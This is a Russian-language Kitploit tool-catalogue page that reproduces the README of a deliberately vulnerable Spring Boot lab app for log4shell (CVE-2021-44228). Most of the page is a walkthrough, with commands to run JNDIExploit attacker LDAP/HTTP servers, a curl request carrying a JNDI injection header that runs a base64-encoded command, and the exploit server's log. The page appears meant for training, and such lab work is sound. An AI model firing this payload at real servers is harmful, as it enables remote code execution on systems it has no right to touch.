Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
log4shell-vulnerable-app — Этот репозиторий содержит веб-приложение на Spring Boot, подверженное уязвимости CVE-2021-44228, известной как log4shell. | Kitploit
Инструменты/GitHubGitHub/romanutti/log4shell-vulnerable-app
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubromanutti/log4shell-vulnerable-app

log4shell-vulnerable-app

Этот репозиторий содержит веб-приложение на Spring Boot, подверженное уязвимости CVE-2021-44228, известной как log4shell.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
4 лет назадЕщё не проверено

Уязвимое приложение

Этот репозиторий содержит веб-приложение на Spring Boot, уязвимое к CVE-2021-44228, известному как log4shell.

В нём используются

  • log-4j-core:2.14.1 (через spring-boot-starter-log4j2) и
  • openjdk:8u181

Запуск приложения

Запустите:

root@kitploit:~
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app

Или соберите его самостоятельно:

root@kitploit:~
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app

Сценарий эксплуатации

С помощью следующих шагов вы можете воспроизвести эксплуатацию log4shell. Если вы не знакомы с тем, как эта атака работает внутри, посмотрите эту статью или слайды в этом репозитории.

Обновление (13 декабря): Репозиторий JNDIExploit был удалён с GitHub (предположительно, не GitHub-ом). Поэтому я рекомендую использовать сохранённую версию из этого репозитория.

Настройка серверов атакующего

Сначала нам нужно настроить серверы атакующего. Для этого потребуются:

  • LDAP-сервер, который перенаправит нас на наш вредоносный HTTP-сервер
  • HTTP-сервер, который вернёт вредоносную полезную нагрузку

Мы используем JNDIExploit для запуска серверов атакующего.

root@kitploit:~
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888

Запуск эксплойта

В качестве полезной нагрузки мы хотим выполнить touch /tmp/pwned (что соответствует base64-закодированному dG91Y2ggL3RtcC9wd25lZAo=) на сервере уязвимого приложения.

Запустите эксплойт с помощью:

root@kitploit:~
# выполнит 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Вывод JNDIExploit показывает, что серверы атакующего ответили вредоносным эксплойтом и выполнили полезную нагрузку:

root@kitploit:~
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200

Чтобы подтвердить, что выполнение кода прошло успешно, мы проверяем, что файл /tmp/pwned.txt был создан в контейнере с уязвимым приложением:

root@kitploit:~
$ docker exec vulnerable-app ls /tmp

...
pwned
...

Ссылки

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/

Скачать инструмент